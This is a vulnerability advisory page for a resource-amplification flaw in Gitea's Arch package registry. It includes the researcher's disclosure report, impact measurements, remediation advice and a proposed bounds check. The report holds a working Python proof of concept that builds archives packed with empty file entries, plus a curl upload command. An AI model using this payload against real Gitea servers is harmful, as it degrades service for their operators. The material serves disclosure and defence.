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Gitea EUVDEUVD-2026-58125

| CVE-2026-59763 MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-21 https://github.com/go-gitea/gitea GHSA-9mq6-mqjj-c2c5
4.3
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
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Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
vuln.today AI
4.3 MEDIUM

Network-accessible upload endpoint requires low-privilege authenticated account with package-publish rights; only availability is affected through resource amplification, with no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Lifecycle Timeline

3
CVSS changed
Aug 13, 2026 - 19:22 NVD
4.3 (MEDIUM)
Source Code Evidence Fetched
Jul 21, 2026 - 21:11 vuln.today
Analysis Generated
Jul 21, 2026 - 21:11 vuln.today

DescriptionCVE.org

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

bash
python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

bash
curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

text
HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

EntriesCompressed archive bytesParsed file entriesMetadata JSON bytesJoined files bytesParse time
25477251,2371,0740 ms
10,00047,46110,000450,112429,99925 ms
100,000470,403100,0004,500,1124,299,999264 ms

Local Gitea upload measurements:

EntriesUpload HTTP statusUpload timeUploaded bytesStored metadata bytesStored file countRepository index blob bytesExtracted files lines
10,0002010.243 s47,461450,11210,00027,26710,001
100,0002010.483 s470,4034,500,112100,000262,301100,001
500,0002011.798 s2,349,76722,500,112500,0001,306,465500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

EntriesUpload bytesUpload HTTP statusStored metadata bytesNotes
100,000470,4032014,500,112Accepted because the compressed upload was below the package size limit.
500,0002,349,767403not storedRejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

go
const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

AnalysisAI

Gitea's Arch package registry allows authenticated users with package-publishing permissions to trigger severe resource amplification by uploading crafted .pkg.tar.gz archives containing large numbers of empty file entries. A 470 KB compressed archive can produce 4.5 MB of database-stored metadata and a repository index with 100,001 lines - approximately 45x amplification - affecting CPU, memory, database storage, and index generation. Publicly available exploit code exists (a complete Python POC is included in the advisory); no active exploitation is confirmed in CISA KEV. The vulnerability is patched in Gitea v1.27.0.

Technical ContextAI

Gitea (Go-based self-hosted Git forge, CPE: pkg:go/code.gitea.io/gitea) implements a built-in Arch Linux package registry. When a .pkg.tar.gz archive is uploaded, arch_module.ParsePackage iterates tar entries and appends every non-dot regular filename to a files slice (modules/packages/arch/metadata.go:149-158), which is then JSON-marshaled and persisted to the database as arch_module.PropertyMetadata (routers/api/packages/arch/arch.go:77,143). During repository index generation, this metadata is deserialized (services/packages/arch/repository.go:302) and the full file list is re-joined into the generated index (repository.go:365). CWE-770 (Allocation of Resources Without Limits or Throttling) is the root cause: no bound is enforced on either the count of file entries or cumulative filename byte length before serialization and storage. The compressed upload size limit (LIMIT_SIZE_ARCH) constrains transfer bytes but cannot prevent post-decompression amplification for archives that stay under the threshold, because gzip-compressed archives containing thousands of empty, highly compressible filenames can expand to orders-of-magnitude larger metadata.

RemediationAI

Upgrade to Gitea v1.27.0 or later (https://github.com/go-gitea/gitea/releases/tag/v1.27.0), which introduces explicit bounds on the number of file entries and cumulative filename byte length during Arch package metadata parsing, as implemented in PRs https://github.com/go-gitea/gitea/pull/38406 and https://github.com/go-gitea/gitea/pull/38426. If immediate upgrade is not feasible, two compensating controls reduce exposure. First, set a strict LIMIT_SIZE_ARCH value in app.ini (e.g., LIMIT_SIZE_ARCH=1MiB) to cap compressed upload size - note that archives compressed below the limit can still cause amplification, so this is a partial mitigation, not a complete fix. Second, and most effective, revoke Arch package publishing permissions from all non-essential accounts via Gitea organization and team permission controls; since the vulnerability is only reachable by authenticated users with explicit publish rights, eliminating those rights removes the attack surface entirely. Neither workaround is a substitute for the v1.27.0 patch.

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Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

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EUVD-2026-58125 vulnerability details – vuln.today

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